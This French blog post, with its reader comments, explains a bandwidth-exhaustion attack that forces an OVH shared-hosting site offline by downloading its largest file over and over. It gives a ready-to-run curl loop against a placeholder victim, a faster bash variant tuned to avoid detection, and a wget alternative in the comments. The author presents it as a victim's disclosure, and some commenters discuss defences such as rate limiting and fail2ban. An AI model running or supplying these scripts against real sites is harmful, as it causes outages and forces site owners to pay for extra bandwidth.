DDOS
Voici une technique qui permet de forcer la fermeture d'un hébergement mutualisé chez OVH. Celle-ci fonctionne plutôt bien, puisque j'en ai été victime. On ne peut pas faire grand chose pour la contrer, c'est plus à OVH de mettre en place le filtrage adéquat. Chose qu'ils n'ont pas l'intention de faire dans l'immédiat. Bref, en attendant, beaucoup de gens vont pouvoir s'en donner à cœur joie.

Pour la petite histoire, j'ai eu plusieurs échanges avec le support OVH (3 personnes différentes), et à chaque fois, c'était plus ou moins la même réponse. La solution pour remettre mes sites en ligne était de payer de la bande passante supplémentaire (500 Go chez eux est facturé 60€). Grosso modo, on vous demande de payer pour un truc dont vous n'êtes pas responsable, alors que cela devrait être à eux de protéger les hébergements mutualisés.

En attendant, voilà comment fonctionne l'attaque DDOS à la bande passante :

1. Connectez-vous sur un site hébergé en mutualisé chez OVH
2. Recherchez ensuite un fichier avec la plus grosse taille possible (ex: une vidéo, une archive zip...).
3. On va ensuite faire une attaque DDOS à la bande passante, en utilisant cette commande :

while /bin/true; do curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; sleep 1; done

Cette attaque est possible chez OVH, car la bande passante des hébergements mutualisés est limitée. Si vous consommez plus que ce qui est prévu, un système automatique vous envoie un avertissement. Si vous ne rachetez pas de bande passante, on ferme votre site au bout de 3 jours.

Petite précision quand même, la commande ci-dessus tourne à un rythme d'une requête par seconde, grâce à l'utilisation de sleep. D'après ce que j'ai pu voir, on peut monter facilement à 9 requêtes par seconde sans se faire repérer. Voici donc une variante du script un peu plus efficace :

#!/bin/bash
while /bin/true
do 
  curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null;
  curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; 
  curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; 
  curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; 
  curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null;
  curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null;
  curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null;
  curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null;
  curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null;
  sleep 1; 
done

Bien entendu, plus le fichier demandé sera gros, plus l'attaque sera rapide et efficace.

A titre d'exemple, le jour où Tux-planet a été victime de cette attaque, il y a eu 123 828 requêtes de faites sur un fichier de 6 Mo (utilisation de deux adresses IP différentes, venant du réseau interne de chez Air France).

# cat tux-planet.fr-06-10-2010.log | grep 6179400 | grep 193.57.xxx.xxx | wc -l
13300
# cat tux-planet.fr-06-10-2010.log | grep 6179400 | grep 193.57.xxx.xxx | wc -l
110528

Il n'aura donc fallu que 3H38 (de 14H14 à 17H52) à l'attaquant pour consommer prêt de 712 Go de bande passante et faire saturer mon quota mensuel. Voici un tableau récapitulatif des limites en fonction des hébergements :

  • 90plan 600 Go
  • 240plan : 800 Go
  • Perso : 500 Go
  • Pro : 1 To
  • Business : 2 To
  • Premium : 5 To

Pour les autres offres (Serveur Dédié, RPS...), ce type d'attaque ne peut fonctionner, car la bande passante incluse est illimitée.


58 Commentaires pour "Attaque DDOS à la bande passante : comment forcer la fermeture d'un hébergement mutualisé chez OVH"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    malheureux de voir qu'OVH ne compte pas solutionner ce problème...

    Tux-planet victime de son succès ?
    mais que veux donc Air France !? :)

    RépondreRépondre
    loïc m. , le 18 octobre 2010 à 09:24
  •  

    Tu peux aussi le faire avec wget.
    wget -nv http://victime.fr/download.zip
    Mais wahou 712Go en 3h38, il a fait fort ^^

    RépondreRépondre
    wak , le 18 octobre 2010 à 09:39
  •  

    Une solution possible: "protéger" le téléchargement de tes fichiers par un "streamer" PHP.
    Du coup, tu pourrais faire toi même les limitations de connexions que tu souhaites.
    Si les checks sont au vert, le script PHP lit le fichier demandé et en envoie le contenu au visiteur.
    Ca ne résoud pas tout, mais ça peut t'éviter le genre de mésaventure que tu viens de subir.

    RépondreRépondre
    JB , le 18 octobre 2010 à 09:39
  •  

    A noter que ça marche également chez 1and1

    RépondreRépondre
    Christophe , le 18 octobre 2010 à 10:12
  •  

    j'aurai cru que tu hébergeais et gérais ton serveur toi même :-)

    Même si c'est vrai que le mutu a le confort de la simplicité ^^

    RépondreRépondre
    Gonzague , le 18 octobre 2010 à 10:13
  •  

    je me demandais ce qui se passait quand j'ai vu le site fermé ... :)
    Et migrer vers un autre hebergeur ? C'est quelque chose de compliqué, pas interessant ?

    RépondreRépondre
    Muy_Bien , le 18 octobre 2010 à 10:17
  •  

    @loïc m. : je suis parti avec Air Canada au Mexique cet été, ça vient de là peut-être...

    @JB : cette solution n'est pas possible chez moi. Cela m'obligerai à revoir tous les liens dans tous les articles, car une fois le système PHP en place, les urls ne sont plus les mêmes.

    @Christophe : chez 1and1, la bande passante est illimitée d'après ce que j'ai pu voir. Donc pour moi cette technique ne marche pas chez eux.

    @Gonzague : je gère 77 serveurs pour l'Université de Rennes 1 (au dernier recensement). On héberge à peu près 1000 sites web. Quand je rentre chez moi le soir, j'ai envie de faire autre chose. Voilà pourquoi j'étais en mutualisés.

    @Muy_Bien : le choix d'un hébergeur n'est pas quelque chose de simple. Il y a des offres intéressantes à l'étranger, mais comme les serveurs ne sont plus en France, il peu y avoir des problèmes de performances réseau. Et puis j'ai absolument besoin du SSH et Ovh est le seul à le proposer en mutualisé.

    RépondreRépondre
    pti-seb , le 18 octobre 2010 à 10:26
  •  

    Et du coup là t'es encore en mutu chez OVH, t'as réouvert comment ?
    Et t'hébergeais le planet-libre aussi ?

    RépondreRépondre
    Jérôme M. , le 18 octobre 2010 à 10:36
  •  

    @pti-seb : Illimité oui, gratuit non (0.5€/Go supplémentaire)... De nombreuses personnes (dont je fait parti) se sont fait avoir et le dialogue avec 1and1 se limite à de la mauvaise foie et une entreprise de recouvrement (Infoscore), de nombreux exemples pullulent sur le web.

    RépondreRépondre
    Christophe , le 18 octobre 2010 à 10:48
  •  

    C'est moche en effet, par contre de la à parler de DDOS avec 2 ip sources de l'attaque sa me fait limite penser à du comptage de manifestant à Marseille :-)

    RépondreRépondre
    Jérémy , le 18 octobre 2010 à 10:59
  •  

    @pti-seb: tu as accès à des rewrite rules ? Si toutes tes URLs ont un schéma commun, ça peut être possible à peu de frais. Sinon, c'est vrai que c'est méchamment chiant :-/

    RépondreRépondre
    JB , le 18 octobre 2010 à 11:01
  •  

    Hello,

    Quelqu'un à des astuces (liens, pdf, etc..) pour protéger des serveurs d'hébergement mutualisé face à des attaques DDOS

    Merci d'avance

    A+

    RépondreRépondre
    podprod , le 18 octobre 2010 à 11:18
  •  

    Plop,

    petite précision, il ne s'agit pas d'une attaque DDOS, car le premier D veut dire distribued, ce qui n'est pas le cas dans ton exemple. Après on pourait le faire de manière distribuée avec un botnet..

    Sinon, technique intéressante en effet. Bien que OVH ne puisse finalement pas faire grand chose. Une solution serait de faire un filtre fail2ban qui bloque une ip qui télécharge trop de fois le meme fichier non html ou qqch comme ça.

    RépondreRépondre
    doczak , le 18 octobre 2010 à 11:44
  •  

    C'est dégueulasse, c'est vrai. Mais ils ne peuvent en rien empêcher ça au niveau technique, car ça peut être un comportement voulu d'accéder un grand nombre de fois à la même url (même si celle-ci te nique ta BP).
    Ils auraient pu faire un geste commercial car je cite Octave :
    "Puis de mettre en place une infrastructure qui va supporter le trafic illimité sur les offres de mutu, en vrai, pas seulement en marketing ... ;) "
    (même si je pense que ce sera une offre tarifée).

    Tu proposes des fichiers au téléchargement, à toi d'anticiper ce cas de figure. Cela peut être une attaque manifeste ou bien un site à fort trafic qui te link, ou bien qui fait un lien "sauvage" vers un de tes fichiers.

    Avec un rewrite rule sur les zip/rar/pdf/.... vers un script php qui streamera le contenu, tu devrais pouvoir mettre en place un système de hit rate limit par ip.
    Sinon tu as les services d'hébergement gratuit de fichiers.

    En tout cas, je te conseille un coup de fil au siège d'Air France, en demandant le service juridique.
    La seule base légale :
    http://www.legifrance.gouv.fr/affichCode.do?idSectionTA=LEGISCTA000006149839&cidTexte=LEGITEXT000006070719&dateTexte=20101018
    L'article intéressant dans ton cas est le 323-2. L'action menée a bel et bien entravé le fonctionnement d'un STAD.

    RépondreRépondre
    Maxime , le 18 octobre 2010 à 12:12
  •  

    @pti-seb : des hébergeurs mutualisés en France qui proposent le SSH, il en existe en dehors d'OVH...

    RépondreRépondre
    Cyril , le 18 octobre 2010 à 12:14
  •  

    Petite question, c'était un fichier de quel article qui était visé ?

    RépondreRépondre
    Maxime , le 18 octobre 2010 à 12:22
  •  

    Amazon pour les gros fichiers, why not

    RépondreRépondre
    Jérôme M. , le 18 octobre 2010 à 13:11
  •  

    Et comment savoir si notre dépassement de bande passante est due à une attaque de ce genre ? Dans ce cas ils ne peuvent pas nous réclamer des sous non ?

    RépondreRépondre
    djiock , le 18 octobre 2010 à 13:22
  •  

    @pti-seb :
    Hello.

    Peut-etre j'ai raté un truc, mais mavenhosting http://www.mavenhosting.com/ fait l'hébergement sans limite de bande passante, et avec le SSH.

    Yves

    RépondreRépondre
    dufy , le 18 octobre 2010 à 13:25
  •  

    @Jérôme M. : bien oui, le Planet-libre était au même endroit. Les admins travaillent en ce moment pour le remettre sur pied. Sinon je suis sur un dédié maintenant.

    @Christophe : ok

    @Jérémy : c'est vrai il n'y a que deux IP. Mais On pourrait utiliser la même technique avec des centaines d'IP différentes aussi.

    @doczak : le fail2ban oui, mais c'est possible que sur des serveurs dédiés. Sur du mutualisé, tu ne peux rien installer. Et comme les admins OVH ne font rien d'en ce genre de cas....

    @Maxime : le coup du script PHP, je continu et je persiste, ce n'est pas possible dans mon cas. Mon dossier public contient des milliers de fichiers, ils ont été déposés là au fur et à mesure des années. Et je n'avais jamais ce problème avant.

    Et puis l'attaque à eu lieu sur un fichier de 6 Mo en 3H30. On peut donc faire la même chose sur une image de 3 Mo en 6H-7H. Et s'il faut aussi protéger les images, cela devient ingérable.

    @Maxime : aucun article n'était visé. La personne à pris le plus gros fichier qu'elle a trouvé, afin de rendre l'attaque la plus courte possible.

    @djiock : si ils peuvent te réclamer des sous, même si la consommation de la bande passante est liée à une attaque. J'ai essayé de négocier avec OVH, ils n'en ont rien à foutre. Tu es là juste pour payer, rien de plus.

    @dufy : cool mais je ne cherche plus d'hébergement maintenant.

    Sinon une autre anecdote avec OVH, puisque j'ai passé plusieurs jours avec eux à dialoguer à travers le support. Et bien j'ai remarqué ceci :

    - temps de réponse du support commerciale : 15 minutes
    - temps de réponse du support technique 24H (même si tu réponds à une question d'un technicien dans la minute qui suit).

    Bref, quand il s'agit de dépenser de l'argent, ils sont là pour toi.

    RépondreRépondre
    pti-seb , le 18 octobre 2010 à 13:30
  •  

    Ce qui me chagrine le plus dans la réaction de OVH n'est pas le fait qu'il ne se protège pas contre se genre d'attaque. Ce n'est pas simple techniquement parlant et cela peut avoir un effet inverse: générer un mécontentement car on limite l'utilisation de sa bande passante. C'est plus le fait qu'il n'admette pas que tu as été victime d'une attaque et que te demander de payer un supplément dans ce cas n'est pas du tout commercial...

    RépondreRépondre
    Nicolargo , le 18 octobre 2010 à 14:17
  •  

    Mais, et si on avait un dédié, quel script tu mettrait en place pour stopper ajouter une regle dans la firewall après X requête au site ?

    RépondreRépondre
    zobi8225 , le 18 octobre 2010 à 15:09
  •  

    Arf, j'ai l'impression que tu débarques pour le coup ..

    1/ les attaques type "bandwdith rape" sont aussi vieilles que ..(le web ?). L'un des moyens de s'en prémunir en mutu est, comme cela est dit plus haut, de passer toutes les requêtes à des fichiers sensibles (filtrage par type mime ou poids > 500 Ko) à travers un script qui analyse les comportements. Quelques règles dans un .htaccess, un script php (ou python) et un stockage dans une bdd sql pour les infos, c'est une heure de codage au plus (et il est certainement possible de trouver des script du genre en ligne). Dans ce cas de figure, l'attaque est nettement plus longue : faut vraiment le vouloir pour tuer 600Go de bandwitdh avec des fichiers de 50Ko à 500Ko (poids d'une page)

    600 000 Mo / 6 Mo = 100 000 requêtes
    600 000 Mo / 0.5 Mo = 1 200 000 requêtes

    2/ ce problème n'est pas spécifique à ovh, c'est le point sensible de tous les mutus qui n'ont pas une bande passante illimitée

    3/ comme cela à été dit, un filtrage au niveau de l'hébergeur pourrait avoir des effets néfastes sur l'usage possible des mutus. Pour ma part, un hébergeur mutu qui impose des quotas par heure ou par IP peut se frotter avant que je souscrive à un abo.

    4/ autant ovh est merdique à bien des niveaux (genre la limitation des transferts ftp par script), autant là, tu es en partie responsable et les blâmer ne rime pas à grande chose même si je conçois que la situation soit chiante

    RépondreRépondre
    dawg , le 18 octobre 2010 à 15:12
  •  

    interessant ca ! Mais c'est quand meme dingue que les hébergeurs ne se préoccupent pas de ca !
    En mm temps, c'est pas dans leur interet, vu qu'il faut passer a leur caisse pour débloquer la situation !

    RépondreRépondre
    edenpulse , le 18 octobre 2010 à 15:16
  •  

    Hello.
    Pour info 1&1 propose un hébergement mutualisé avec bande passante illimitée et accès SSH.
    Je suis chez eux (pack pro environ 10€/mois) depuis 2007 pas de souci à signaler et le support est réactif.

    http://commander.1and1.fr/xml/order/Hosting
    A+...

    RépondreRépondre
    i M@N , le 18 octobre 2010 à 15:39
  •  

    @i M@N : illimitée oui, mais pas gratuit : fais attention et relis bien le contrat

    http://forum.lesarnaques.com/internet-probleme-fai-hebergeur/1and1-vielle-arnaque-depassement-bande-passante-t51682.html

    RépondreRépondre
    Christophe , le 18 octobre 2010 à 15:42
  •  

    Yop
    avec curl 7.19.7 le --user-agent= ne fonctionne pas c'est plutot:

    curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null;

    RépondreRépondre
    bartounet , le 18 octobre 2010 à 16:16
  •  

    Méchant pti-seb, méchant pti-seb! :p

    C'est arrêtable comme attaque (Flood TCP), mais le plus chiant... c'est les attaques UDPs qui génère rarement des logs (Si tu n'as pas les outils approprier).

    Après, des bonnes règles Iptables stop la plupart des attaques (UPD, TCP, SYN, etc)... Cependant, quand tu as 3 serveurs en local qui flood ton serveur. Le firewall bloque l'attaque... Mais la bande passante est saturé et donc la machine est immobilisée.

    J'ai déjà eu une attaque de ce genre, 3 serveurs OVH qui me flooder UDP... La seul solution : Contacter OVH pour qu'ils arrêtent les serveurs qui attaquent.

    Il existe aussi un module pour Apache (Mod eveasi... un truc du genre) pour bloquer les floods TCP.

    RépondreRépondre
    Dere011 , le 18 octobre 2010 à 17:28
  •  

    Oui sur un dédié, mais sur un hébergé.. tu peux pas faire grand chose..

    RépondreRépondre
    bartounet , le 18 octobre 2010 à 17:31
  •  

    @Nicolargo : pareil pour l'aspect commerciale. Au début je me suis dit, c'est une attaque, ils ne vont pas me faire payer. Et bien en faite non.

    @bartounet : j'ai corrigé.

    @Dere011 : comme le dit @bartounet, ici on ne parle pas d'un problème sur un serveur dédié.

    RépondreRépondre
    pti-seb , le 18 octobre 2010 à 18:40
  •  

    On peut au moins limiter ce genre de chose, même sur du mutualisé.

    1- Identifier les ips sources DDOS
    2- Si l'ip est suspecte, on balance juste un header d'erreur (404, 500, à votre guise).

    Pour identifier les suspects, perso, j'utilisais des ratios/période de temps.
    Par exemple: +2 req/sec et +100 req / minute. On peut évidemment fine-tuner la chose en pondérant par page, en traquant les dl en les faisant passer par un script de download etc.

    Certes, ça ne bloque rien d'autre que le HTTP mais ca évite au moins l'exemple curl bourrin donné.

    RépondreRépondre
    beno , le 18 octobre 2010 à 18:46
  •  

    http://genoxia.fr/source_php/teste_php.txt

    C'est un exemple, tout est possible avec PHP :)

    RépondreRépondre
    Dere011 , le 18 octobre 2010 à 19:12
  •  

    @beno : le truc aussi, c'est que sur les mutus de chez OVH, tu as accès au logs que le lendemain. Donc en générale, quand l'attaque survient, tu ne la voit pas en direct. Et 24h après, il est déjà trop tard.

    RépondreRépondre
    pti-seb , le 18 octobre 2010 à 19:12
  •  

    @Dere011 : Encore faut-il que l'attaquant prenne soin d'envoyer un cookie l'identifiant de session. Ce qu'il ne fera sûrement pas, donc tu auras une nouvelle session à chaque "hit" ;-)

    RépondreRépondre
    Maxime , le 18 octobre 2010 à 19:51
  •  
    michel , le 18 octobre 2010 à 19:59
  •  

    @michel : Tu es certain qu'il n'y a pas de partie cachée comme chez 1and1 ? (voir mes messages précédents)

    RépondreRépondre
    Christophe , le 18 octobre 2010 à 20:08
  •  

    @Maxime : Il suffit d'utiliser dans ce cas l'adresse IP de l'utilisateur :)

    RépondreRépondre
    Dere011 , le 19 octobre 2010 à 01:05
  •  

    J'ai remarqué également que http://tux-pla.net/ était hors-ligne. J'imagine qu'il était aussi dans ton mutualisé chez OVH. Tu as l'intention de le remettre en route ?

    RépondreRépondre
    ProfNoel , le 19 octobre 2010 à 03:01
  •  

    Ne soit pas trop gentil en payant un truc qui si ça se trouve, c'est eux qui l'ont mis en place ! Pour gagner du pognon et s'en foutre plein les fouilles... et s'acheter une 8ème ferrari rose ( oui, c'est moche une ferrari rose)

    Y'a un tracking de l'ip demandante quelque part ?

    Si ce n'est pas le cas, comment peuvent ils affirmer que cela ne viens pas d'eux pour faire de la vente forcé ?

    Si y'a l'ip demandante, il y a quand même moyen de pallier a cette faille :

    Les serveurs mutualisés sont un jour ou l'autre physique, tu partages un espace réel...

    Sur une machine OVH peu donc placer un fichier comme sur les dédiés permettant de bloquer les requêtes trop nombreuses venant d'une seul machine (de façon a ce que le fichier le plus gros ne puisse pas être interrogé dans le mois plus de fois que ce que la bande passante te le permet...

    Si tu veux les embetter un peu tu leur demande le mode de calcul : de ta bande passante et le nom de leur grossiste en bande passante ;) http://blog.spyou.org/wordpress-mu/2010/08/28/combien-ca-coute-la-bande-passante/

    Imagine en plus que ton billet soit influent, (c'est le cas)

    Des associations de consommateurs se ferais du bain béni de ta nouvelle...

    RépondreRépondre
    Jérôme , le 19 octobre 2010 à 04:06
  •  

    @Jérôme : Y'a pas que la bande passante dans le mutu, y'a le stockage, l'infra de frontaux qui servent les contenus, etc ...

    D'un coté, on peut trouver ça méchant de la part d'un hébergeur de faire payer son client pour ça, de l'autre, l'hébergeur, lui, il a rien fait .. pourquoi ce serait plus a lui qu'au client de payer ?

    RépondreRépondre
    Spyou , le 19 octobre 2010 à 07:00
  •  

    Il n'y a aucun débat à avoir dans cette histoire et ta vengeance en forme de script pour faire tomber un hébergement est assez WTF à mon humble avis.

    Quand tu as souscrit l'hébergement chez OVH tu as accepté leurs conditions d'utilisation qui stipulent que tu es responsable des fichiers présents sur ton serveur et du trafic que ça engendre (qu'il soit honnête ou non).

    RépondreRépondre
    Maxime , le 19 octobre 2010 à 08:09
  •  

    @ProfNoel : oui je vais le remettre en route, faut juste me laisser un peu de temps.

    @Jérôme : pas con comme idée, sauf que j'ai plus envie de me battre. J'ai dialogué avec eux assez longtemps comme ça, ils m'ont épuisé.

    @Maxime : effectivement, j'aurais pu me taire et garder la méthode pour moi. Ça doit être une vie passionnante que de fermer tous les hébergements OVH (ou autres) qui ne te plaisent pas.

    Non franchement, je préfère divulguer la méthode (qui d'après les commentaires ne date pas d'aujourd'hui) et forcer les hébergeurs à mettre en place le système de protection qui va bien, si c'est techniquement possible bien sûr.

    RépondreRépondre
    pti-seb , le 19 octobre 2010 à 08:29
  •  

    @pti-seb : Totalement d'accord pour la divulgation de la méthode. Le partage de l'information c'est aussi un principe du Libre.

    RépondreRépondre
    Guillaume , le 19 octobre 2010 à 12:23
  •  

    Bonjour,

    c'est une attaque, en tout cas un usage volontairement fait pour nuire... donc tu vas porter plainte et il y aura bien un responsable quelque part.

    ça peut te servir d'entraînement pour un cas plus sérieux.

    Bon courage
    G

    RépondreRépondre
    Grégoire , le 19 octobre 2010 à 15:56
  •  

    Tu as fermé le mini-blog ? :'(

    RépondreRépondre
    SSHNuke , le 19 octobre 2010 à 15:56
  •  

    Le mini-blog et tux-pla.net refonctionne maintenant. ( cc @SSHNuke @ProfNoel )

    RépondreRépondre
    pti-seb , le 19 octobre 2010 à 18:20
  •  

    Pour infos, Tux-planet tourne maintenant sur une Dedibox.

    RépondreRépondre
    pti-seb , le 19 octobre 2010 à 22:56
  •  

    Triste histoire en effet, mais ça ne m'étonne pas d'Ovh, ils sont entrain de ce faire une petite réputation sympa.

    RépondreRépondre
    GanGan , le 21 octobre 2010 à 17:11
  •  

    Comme indiqué plus haut par Plop, OVH ne peut rien faire dans un tel cas. Comment détecter si c'est un téléchargement abusif (en vue d'attaque) d'un ensemble de téléchargements normaux d'une personne équipée fibre ? D'autant qu'on peut varier l'attaque en changeant de fichier à chaque wget.

    Je trouve que c'est limite difamatoire d'accuser ici OVH alors qu'il ne faisait que transmettre ce qu'on leur demandait de télécharger.

    C'est au gérant du site de prévoir ce genre de chose en utilisant des limitations via Php entre autre, chose qu'il semble non décidé à faire :(

    Il serait dommage qu'une personne qui rale salisse la réputation d'OVH apprécié par des centaines de milliers d'autres sites qu'il héberge.

    RépondreRépondre
    Rolando , le 15 novembre 2010 à 20:02
  •  

    Mutualisé Fin 2010, trafic illimité, voilà comment ils ont fixé le problème :D
    Ils sont fort !

    RépondreRépondre
    Maxence , le 15 novembre 2010 à 20:34
  •  

    Jusqu'ici, quand je lis sur le net un billet méchant sur OVH (ou autres hébergeurs mutu), en creusant un peu, on découvre souvent que le probleme provient tout simplement de l'incompétence de la personne qui se plaint. Ou pour être gentil, de son absence d'implication dans la résolution du problème, et d'un manque de prévoyance.

    C'est le cas ici : OVH fourni un hébergement, il délivre le contenu qu'on lui demande, c'est à toi de gérer l'utilisation qu'en font tes visiteurs, pour ne pas dépasser un quota que tu (ou ton hébergeur) fixes.

    Comme indiqué plus haut par d'autres, tu as des possibilités de tracker les accès, d'automatiser une surveillance (et donc de mettre en place une protection à base de mail pour te prévenir d'un abus, de ban d'IP etc...) sur tous les fichiers > xx Ko sur un dossier donné, sans remettre en cause ton architecture ou tes liens.

    Mais c'est tellement plus simple de gueuler contre l'hébergeur hein...
    Il y a parfois des vrais trucs à reprocher à OVH, ou 1&1 etc... mais là OVH a réagit comme il faut.

    Ceci dit, désormais la BP est désormais illimitée (et gratuite) chez OVH, tu peux donc continuer à ne pas protéger tes fichiers, en toute tranquilité.

    RépondreRépondre
    Yusuke , le 15 novembre 2010 à 21:43
  •  

    Depuis le mois d'août 2010 (donc deux mois au moins avant ton attaque), OVH a ajouté l'option « pare-feu applicatif » aux hébergements mutualisés, indiquant toutefois que cela avait une incidence négative sur les performances du site. J'ignore cependant si cela protège des attaques visant à user toute la bande passante consommée.

    Ceci dit, cette attaque n'a plus de raison d'être, maintenant qu'OVH vient d'officialiser la bande passante illimitée sur les hébergements mutualisés Perso, Pro, Business et Premium. Si l'on dispose d'un hébergement plus ancien (60gp, 90plan, 240plan, etc.), il faut migrer vers les nouvelles offres (dont les prix sont sensiblement en hausse en comparaison).

    Enfin, je partage mon étonnement de voir qu'OVH n'ait pas mis en place de système d'alerte interne lorsque la bande passante d'un site web explosait sans raison apparente. L'attaque aurait alors pu être mise en évidence (chargement en boucle d'un même fichier depuis deux adresses IP d'un même réseau) et arrêtée avant épuisement du quota de bande passante.

    Ceci étant, as-tu pensé à contacter les administrateurs du réseau distant ? Je veux dire : il s'agit très probablement d'une attaque contre ton site et donc d'une volonté délibérée de mettre en branle ton système d'information. Il y a de quoi porter plainte. A défaut, sensibiliser le service informatique responsable du réseau distant des pratiques douteuses de leurs usagers.

    RépondreRépondre
    Martin , le 16 novembre 2010 à 00:36
  •  

    J'ai rencontré le même problème plus de 700 giga de consommé sur une offre perso se qui a fait fermé mon site, j'ai du le transféré chez un autre hébergeur ou je n'ai plus de problème maintenant car en illimité, mais bizarrement la consommation n'explose plus depuis un mois.

    RépondreRépondre
    leechftp , le 16 novembre 2010 à 00:55
  •  

    Pour tous :
    c'est résolu pour OVH puisque actuellement les offres d'hébergements perso, pro buisiness et premium ont un traffic illimité ;) donc ovh vien de trouver la solution et vous n'avez pas a inquiéter la dessus et de quitter notre cher OVH

    RépondreRépondre
    Anonyme , le 9 janvier 2011 à 00:15
  •  

    Bonjour,

    Est-ce vraiment résolu s'il vous plait ? J'ai entendu dire que leur illimité n'est que du pseudo-illimité, un peu comme sur 1&1, mais je n'ai pas trouvé confirmation.

    Je pense ouvrir un compte chez eux (un pack pro) pour hébergé un site légale mais sensible. Il s'agit du site d'une association qui à déjà subi plusieurs attaques par ddos.

    Est-ce que l'auteur du sujet peux venir apporter des nouvelles concernant les changements de ovh ?

    Je vous remercie d'avance.

    RépondreRépondre
    namae , le 28 janvier 2011 à 20:10
  •  

    Bonjour,
    Il y a t-il une méthode pour sécurisé cette faille ? ( a par payer pour être Prenium )
    OVH compte t-il faire une mise a jour ?

    De même je possède un hébergeur ou je ne suis pas en illimité peut il comme même être effectuer une attaque Ddos de ce type la ?
    Merci d'avance

    RépondreRépondre
    Alexandre , le 24 juin 2011 à 17:26
  •  

    Bonjour, existe-t-il un moyen de tester d'autres type d'attaque sur son site web ?
    voir même un protocole des attaques avec un genre de manuel afin de pouvoir vérifier par sois même si son site est protéger.
    Votre ressource est intéressante et je vais la tester mais tester également d'autres aspect (connu) d'attaque peut être une bonne idée.
    il faut dire ce sujet me passionne mais surtout pour mes clients que je puisse fournir un excellent service via des tests de sécurité.
    ce n'est pas toujours facile de tester si son espace ou serveur dédié résistera à une attaque mais un minimum s'impose.

    RépondreRépondre
    gtraxx , le 7 décembre 2011 à 11:32
  •  

    Dommage, y'a un super tuto ici.
    Trop bien s'tuto je te conseil de le lire :p

    RépondreRépondre
    Med , le 7 août 2012 à 04:43
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum